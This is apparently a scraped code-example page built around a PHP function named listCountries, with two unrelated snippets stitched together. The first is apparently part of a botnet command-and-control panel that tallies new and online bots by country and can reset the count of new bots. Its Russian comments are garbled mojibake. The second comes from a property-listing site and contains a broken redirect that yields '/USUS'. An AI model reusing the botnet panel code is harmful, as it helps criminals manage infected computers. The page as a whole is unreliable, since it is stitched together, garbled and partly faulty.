$output .= getBotnetStats('', $i) . THEME_LIST_END . THEME_STRING_NEWLINE;
////////////////////////////////////////////////// / / ///////////////////////////////////////////////
// R'S <RІRѕRґ ReRЅS "RѕSЂRјR ° C † ReRe RѕR ± C RμRєSѓS RμRј ‰ P ± RѕS, RЅRμS, Rμ.
////////////////////////////////////////////////// / / ///////////////////////////////////////////////
$actionList = '';
if (!empty($userData['r_stats_main_reset'])) {
    $actionList = str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_STATS_BOTNET_ACTIONS . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_STATS_RESET_NEWBOTS, ' onclick="if(confirm(\'' . addJsSlashes(LNG_STATS_RESET_NEWBOTS_Q) . '\'))window.location=\'' . QUERY_STRING_HTML . '&amp;reset_newbots&amp;botnet=' . addJsSlashes(urlencode(CURRENT_BOTNET)) . '\';"'), THEME_DIALOG_ITEM_ACTION)), THEME_DIALOG_TITLE);
}
$output .= str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_STATS_BOTNET . THEME_STRING_SPACE . botnetsToListBox(CURRENT_BOTNET, '')), THEME_DIALOG_TITLE) . $actionList;
//RЎR ± RѕSЂ SЃS, P ° C ReSЃS, ReRєRe RґR "SЏ RєRѕRЅRєSЂRμS, RЅRѕRіRѕ P ± RѕS, RЅRμS, P °.
if (CURRENT_BOTNET != '') {
    $output .= THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 2, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace('{WIDTH}', '100%', THEME_LIST_BEGIN) . getBotnetStats(CURRENT_BOTNET, 0) . THEME_LIST_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END;
}
//R'S <RІRѕRґ SЃRїReSЃRєR ° SЃS, SЂR ° RЅ.
$commonQuery = CURRENT_BOTNET != '' ? ' AND botnet=\'' . addslashes(CURRENT_BOTNET) . '\'' : '';
$output .= THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . listCountries(LNG_STATS_COLUMN_NEWBOTS, '`flag_new`=1' . $commonQuery) . THEME_DIALOG_ITEM_CHILD_END . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . listCountries(LNG_STATS_COLUMN_ONLINEBOTS, '`rtime_last`>=\'' . (CURRENT_TIME - $config['botnet_timeout']) . '\'' . $commonQuery) . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_END;
ThemeBegin(LNG_STATS, 0, 0, 0);
echo $output;
ThemeEnd();
////////////////////////////////////////////////// / / ///////////////////////////////////////////////
// P ¤ † SѓRЅRєS ReRe.
////////////////////////////////////////////////// / / ///////////////////////////////////////////////
/*
  Создание информации по ботнету.
  
  IN $botnet - string, название ботнета.
  IN  $i     - int, счетчик номера строки.
  
  Return    - string, часть таблицы.
*/
function getBotnetStats($botnet, $i)
Example #2
0
    } else {
        header("Location: /404?reason=propertynotfound");
    }
} elseif (isset($COUNTRY_id)) {
    $pList = listPropertiesByCountry($mysqli, $COUNTRY_id);
    $list[] = "<div id='offer' class=\"backitem\">\n                  <a href=\"/\"><div><span class='larrow'>&#9668;</span>" . $message_back . "</a></div>" . "</div><br/><br/>";
    foreach ($pList as $obj) {
        //    $t = countOffersForProperty($mysqli, "" . $obj->id);
        //
        //    if ($t == NULL) {
        //      $total = 0;
        //    } else {
        //      $total = $t->total;
        //    }
        $list[] = "<div class=\"listitem\">\n              <a href=\"/" . $COUNTRY_id . "/" . $locale . "/" . $obj->web_hash . "\">\n                <div id=\"property-" . $obj->id . "\">" . $obj->name . "\n                  <span class=\"arrow\">&#9658;</span>\n                </div>\n              </a>\n            </div>";
    }
} else {
    $list[] = "<h2>" . $MESSAGES['welcome'] . "</h2>";
    $list[] = "<div class=\"listitem\">\n              <a href=\"\" id=\"enableMyLocation\">\n                <div>" . $message_closestLocation . "\n                  <span class=\"arrow\">&#9658;</span>\n                </div>\n              </a>\n            </div><br/>";
    $cList = listCountries($mysqli);
    foreach ($cList as $obj) {
        $list[] = "\n            <div class=\"listitem\">\n              <a href=\"/" . $obj->code . "/" . $locale . "\">\n                <div id=\"" . $obj->code . "\">" . $obj->name . "\n                  <span class=\"arrow\">&#9658;</span>\n                </div>\n              </a>\n            </div>";
    }
    //default to US
    $COUNTRY_id = "US";
    if ($page != NULL) {
        $location = "/US" . $COUNTRY_id . "/" . $locale . "/" . $page;
        header("Location: " . $location);
    }
}
//var_dump($_GET);